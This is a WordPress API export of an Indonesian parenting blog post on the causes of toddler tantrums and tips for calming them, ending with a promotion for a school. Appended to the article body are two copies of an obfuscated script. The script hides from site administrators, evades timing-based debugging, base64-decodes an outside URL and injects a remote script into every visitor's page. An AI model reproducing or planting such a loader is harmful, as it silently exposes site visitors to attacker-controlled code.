{"id":211,"date":"2024-09-13T09:00:00","date_gmt":"2024-09-13T02:00:00","guid":{"rendered":"https:\/\/example.com\/?p=211"},"modified":"2026-01-20T06:27:29","modified_gmt":"2026-01-19T23:27:29","slug":"bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya","title":{"rendered":"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!"},"content":{"rendered":"<p style=\"text-align: center;\"><strong><img decoding=\"async\" style=\"width: 820px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg\" alt=\"Bagaimana Cara Mengatasi Anak Tantrum Yuk Simak Tipsnya-01\" width=\"820\" \/> <\/strong><\/p>\n<p style=\"text-align: center;\"><em>Artikel ini membahas tentang tantrum pada anak, penyebab serta cara yang bisa Anda lakukan untuk mengatasinya\u201d<\/em><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\">Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, membangkang atau marah. Tantrum termasuk salah satu bagian dari perkembangan anak yang normal terjadi karena Ia sedang berusaha untuk menunjukkan bahwa dirinya kesal. Biasanya, tantrum sering terjadi pada tahun kedua kehidupannya, ketika perkembangan bahasa anak usia dini mulai berkembang. Ini terjadi karena anak belum sepenuhnya bisa menyampaikan apa yang mereka inginkan, butuhkan atau rasakan. Nah, tantrum ini dapat berkurang seiring kemampuan bahasa anak meningkat.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\"><strong>Penyebab Anak Tantrum<\/strong><\/span><\/h2>\n<p style=\"text-align: justify; font-size: 16px; font-weight: normal;\">Berikut adalah beberapa penyebab yang mungkin menjadi alasan anak tantrum.<\/p>\n<h3 style=\"text-align: justify; font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">1. Ketakutan<\/span><\/h3>\n<p style=\"text-align: justify;\">Penyebab anak mengalami tantrum bisa karena ketakutan akan sesuatu. Jika ini merupakan penyebab tantrum yang dialami anak Anda, maka Anda perlu membantu anak mengendalikan rasa ketakutannya ketika melihat bahaya. Namun, jangan lupa untuk mencari tahu apa hal yang menjadi ketakutannya.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">2. Lingkungan<\/span><\/h3>\n<p style=\"text-align: justify;\">Tantrum dapat juga disebabkan karena anak merasa kewalahan oleh sesuatu. Jadi, ketika anak Anda sering tantrum saat berada di lingkungan tertentu, cobalah untuk berhenti dan memperhatikan hal apa yang ada di lingkungan tersebut yang membuat anak mengamuk. Apa mungkin karena di tempat itu terlalu banyak orang, tempatnya terlalu sempit, terlalu berisik, atau hal lainnya. Salah satu tempat dimana anak biasanya mengalami tantrum adalah <em>supermarket<\/em>, sebab mereka menginginkan sesuatu yang ada di sana.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"font-weight: bold;\"><span style=\"font-size: 14pt;\">3. Waktu Tertentu<\/span><\/h3>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/cara-mengatasi-tantrum-pada-anak-1549439899.jpg\" alt=\"Penyebab Anak Tantrum\" \/><em>(Sumber: Sehatq.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Perhatikan apakah anak Anda mengalami tantrum di waktu-waktu tertentu. Jika iya, maka kemungkinan anak Anda bergumul dengan sesuatu yang berkaitan dengan apa yang terjadi di waktu tersebut. Contohnya, anak mengalami tantrum ketika Anda dan pasangan akan pergi meninggalkan rumah untuk bekerja.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">4. Orang Tua yang Plin-Plan<\/span><\/h3>\n<p style=\"text-align: justify;\">Sebagai orang tua tentu Anda memiliki banyak kesibukan yang melelahkan. Sehingga, wajar jika Anda mudah kehilangan konsistensi atau menjadi plin-plan. Misalnya, ketika Anda sudah mengizinkan anak untuk bermain sekarang juga, namun tiba-tiba Anda berubah pikiran dan mengatakan kepadanya bahwa Ia boleh bermain setelah makan. Hal tersebut, bisa membuat anak marah dan akhirnya mengalami tantrum.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">5. Orang Tertentu<\/span><\/h3>\n<p style=\"text-align: justify;\">Tantrum pada anak bisa dipicu juga salah satunya karena orang tertentu. Contohnya, anak mungkin baru selesai bertengkar dengan saudaranya. Jadi, ketika melihat saudaranya lagi, Ia menjadi marah dan tantrum. Biasanya pada kasus ini, anak-anak yang tantrum, bisa membaik sendiri tanpa campur tangan orang dewasa.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/kecanduan-gadget-pada-anak\">Tanda Anak Kecanduan Gadget, Dampak &amp; Cara Mengatasinya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\"><strong>Cara Mengatasi Anak Tantrum<\/strong><\/span><\/h2>\n<p>Jangan panik! Yuk, simak beberapa cara mengatasi anak yang sedang tantrum berikut ini.<\/p>\n<h3 style=\"text-align: justify; font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">1. Biarkan Anak Marah<\/span><\/h3>\n<p style=\"text-align: justify;\">Kadang kala anak yang tantrum hanya butuh melampiaskan amarahnya. Oleh karena itu, biarkan anak untuk marah ketika Ia tantrum, selama tidak melakukan hal-hal yang berbahaya. Cara ini diyakini bisa membantu anak untuk belajar melampiaskan amarah dengan tidak merusak. Hasilnya, ketika anak sudah dewasa, anak diharapkan bisa mengendalikan diri dengan baik, tanpa harus adu mulut dengan Anda.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"font-weight: bold;\"><span style=\"font-size: 14pt;\">2. Mengatasi Perilaku Agresifnya<\/span><\/h3>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/child-tantrum-25a2ca084171cad23023caf050437060_800x420.jpg\" alt=\"Cara mengatasi anak tantrum\" \/><em>(Sumber: Popmama.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Ketika sedang tantrum, anak dapat melakukan berbagai hal agresif, seperti memukul, membanting atau melempar barang. Jika hal ini terjadi, maka sebaiknya Anda segera mengatasi perilaku agresif tersebut. Anda perlu memberitahu anak bahwa menyakiti orang lain atau merusak barang merupakan tindakan yang tidak baik. Namun, pastikan Anda memberitahunya dengan cara yang lembut dan menggunakan bahasa yang mudah dipahami. Sebab, kalau Anda menggunakan kata-kata kasar, maka tidak efektif untuk mengatasi tantrum.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">3. Abaikan Anak<\/span><\/h3>\n<p style=\"text-align: justify;\">Mengabaikan anak juga dapat dilakukan sebagai tindakan dalam mengatasi tantrum anak. Anda perlu berhenti memberikan perhatian kepada anak agar Ia tidak semakin marah. Namun, tindakan mengabaikan ini sebaiknya hanya Anda lakukan ketika anak berada dalam situasi yang tidak membahayakan dirinya. Jadi, pastikan untuk mendiamkan dan meninggalkan anak sejenak, lalu datangi kembali setelah beberapa waktu kemudian.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">4. Bantu Anak Melakukan Hal yang Ia Tidak Bisa Lakukan<\/span><\/h3>\n<p style=\"text-align: justify;\">Tantrum bisa saja terjadi karena anak tidak dapat melakukan sesuatu. Oleh sebab itu, Anda sebaiknya menanyakan dengan lembut mengapa anak marah, dan membantunya melakukan hal yang tidak bisa Ia kerjakan sendiri.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"font-size: 16px; font-weight: bold;\"><span style=\"font-size: 14pt;\">5. Orang Tua Harus Menahan Diri untuk Berteriak<\/span><\/h3>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/5daa814e935cd.jpg\" alt=\"Penyebab tantrum pada anak\" \/><em>(Sumber: Kompas.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Anak adalah cerminan dari kedua orang tuanya. Jadi, jika Anda biasa berteriak ketika anak tantrum, anak bisa ikut berteriak untuk menyamakan volume suara dengan Anda. Anak biasanya melakukan hal tersebut agar Ia bisa terlibat dalam komunikasi yang setara dengan orang tuanya.<\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\">Itu lah beberapa cara yang bisa Anda lakukan untuk mengatasi anak tantrum. Kalau cara-cara diatas masih belum efektif, Anda juga bisa memeluknya. Sebab, pelukan diyakini bisa meredakan amarah yang tengah meluap dalam diri anak. Nah, bagi Anda yang memiliki anak di usia PAUD hingga SD, Anda juga bisa membantu anak melatih keterampilan sosial dan emosionalnya melalui<a href=\"https:\/\/www.altaschool.id\/cara-pendaftaran\"> <span style=\"color: #1155cc; text-decoration: underline;\">altaschool.<\/span><\/a> Soalnya, Alta School telah menyediakan fasilitas belajar berupa Pendidikan Karakter. Melalui Pendidikan Karakter ini, anak-anak akan mendapatkan sesi <em>mindfulness <\/em>dan konseling untuk membangun kecerdasan sosial emosional mereka.<\/p>\n<p style=\"text-align: justify;\"><strong><a class=\"rg-cta\" style=\"text-align: center;\" href=\"https:\/\/www.altaschool.id\/kelas-gratis\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/cta\/84d25cf5-808e-4cbb-a482-05aab1904f88.jpeg\" alt=\"CTA Blog Alta School\" width=\"600\" height=\"147\" \/><\/a><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Sumber:<\/strong><\/p>\n<p style=\"text-align: justify;\">Fadli, R. (2020), \u2018Apa yang Menyebabkan Anak Mengalami Tantrum\u2019, <em>Halodoc.com, <\/em>29 Juli 2020 [daring] Available at: https:\/\/www.halodoc.com\/artikel\/apa-yang-menyebabkan-anak-mengalami-tantrum<\/p>\n<p style=\"text-align: justify;\">Herliafifah, R. (2022), \u2018Tantrum pada Anak: Apa Penyebabnya dan Bagaimana Cara Mengatasinya?\u2019, <em>Hellosehat.com, <\/em>17 Januari 2022 [daring] Available at: https:\/\/hellosehat.com\/parenting\/anak-1-sampai-5-tahun\/perkembangan-balita\/tantrum-pada-anak\/<\/p>\n<p style=\"text-align: justify;\">Makarim, F.R. (2022), \u2018Jangan Panik, Ini 5 Cara Mengatasi Anak Tantrum\u2019, <em>Halodoc.com, <\/em>07 Juni 2022 [daring] Available at: https:\/\/www.halodoc.com\/artikel\/jangan-panik-ini-5-cara-mengatasi-anak-tantrum<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber Gambar:<\/strong><\/p>\n<p style=\"text-align: justify;\">Anak Menangis Tantrum [daring]. Available at: https:\/\/www.sehatq.com\/artikel\/cara-mengatasi-tantrum-pada-anak<\/p>\n<p style=\"text-align: justify;\">Ibu Menenangkan Anak Tantrum [daring]. Available at: https:\/\/www.popmama.com\/kid\/1-3-years-old\/faela-shafa\/cara-tenang-hadapi-anak-tantrum<\/p>\n<p style=\"text-align: justify;\">Orang Tua Berteriak Kepada Anak [daring], Available at:https:\/\/www.kompas.com\/tren\/read\/2019\/10\/19\/114725865\/ini-efek-yang-akan-terjadi-jika-sering-berteriak-kepada-anak?page=all<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Artikel ini membahas tentang tantrum pada anak, penyebab serta cara yang bisa Anda lakukan untuk mengatasinya\u201d &#8212; Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, membangkang atau marah. Tantrum termasuk salah satu bagian dari perkembangan anak yang normal terjadi karena Ia sedang berusaha untuk menunjukkan bahwa dirinya kesal. [&hellip;]<\/p>\n","protected":false},"author":22,"featured_media":211,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_knawatfibu_url":["https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg"],"_edit_lock":["1726534453:1"],"_edit_last":["1"],"_wp_old_date":["2022-08-31"],"_aioseo_title":[null],"_aioseo_description":["Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya."],"_aioseo_keywords":[""],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":[""],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_linker_next_update":["1769355073"],"_yoast_wpseo_metadesc":["Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya."]},"categories":[1],"tags":[],"class_list":["post-211","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!<\/title>\n<meta name=\"description\" content=\"Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!\" \/>\n<meta property=\"og:description\" content=\"Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2024-09-13T02:00:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:27:29+00:00\" \/>\n<meta name=\"author\" content=\"Nurul Habibah\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Nurul Habibah\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya\",\"name\":\"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg\",\"datePublished\":\"2024-09-13T02:00:00+00:00\",\"dateModified\":\"2026-01-19T23:27:29+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\"},\"description\":\"Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#primaryimage\",\"url\":\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg\",\"contentUrl\":\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\",\"name\":\"Nurul Habibah\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"caption\":\"Nurul Habibah\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!","description":"Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya","og_locale":"en_US","og_type":"article","og_title":"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!","og_description":"Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya.","og_url":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2024-09-13T02:00:00+00:00","article_modified_time":"2026-01-19T23:27:29+00:00","author":"Nurul Habibah","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Nurul Habibah","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya","url":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya","name":"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg","datePublished":"2024-09-13T02:00:00+00:00","dateModified":"2026-01-19T23:27:29+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd"},"description":"Tantrum merupakan ledakan emosi yang biasanya ditandai dengan sikap anak keras kepala, menangis, berteriak, menjerit, atau marah. Yuk simak tips mengatasinya.","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#primaryimage","url":"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg","contentUrl":"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Bagaimana%20Cara%20Mengatasi%20Anak%20Tantrum%20Yuk%20Simak%20Tipsnya-01.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/bagaimana-cara-mengatasi-anak-tantrum-yuk-simak-tipsnya#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Bagaimana Cara Mengatasi Anak Tantrum? Yuk Simak Tipsnya!"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd","name":"Nurul Habibah","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","caption":"Nurul Habibah"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=211"}],"version-history":[{"count":4,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/211\/revisions"}],"predecessor-version":[{"id":2039,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/211\/revisions\/2039"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/211"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=211"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}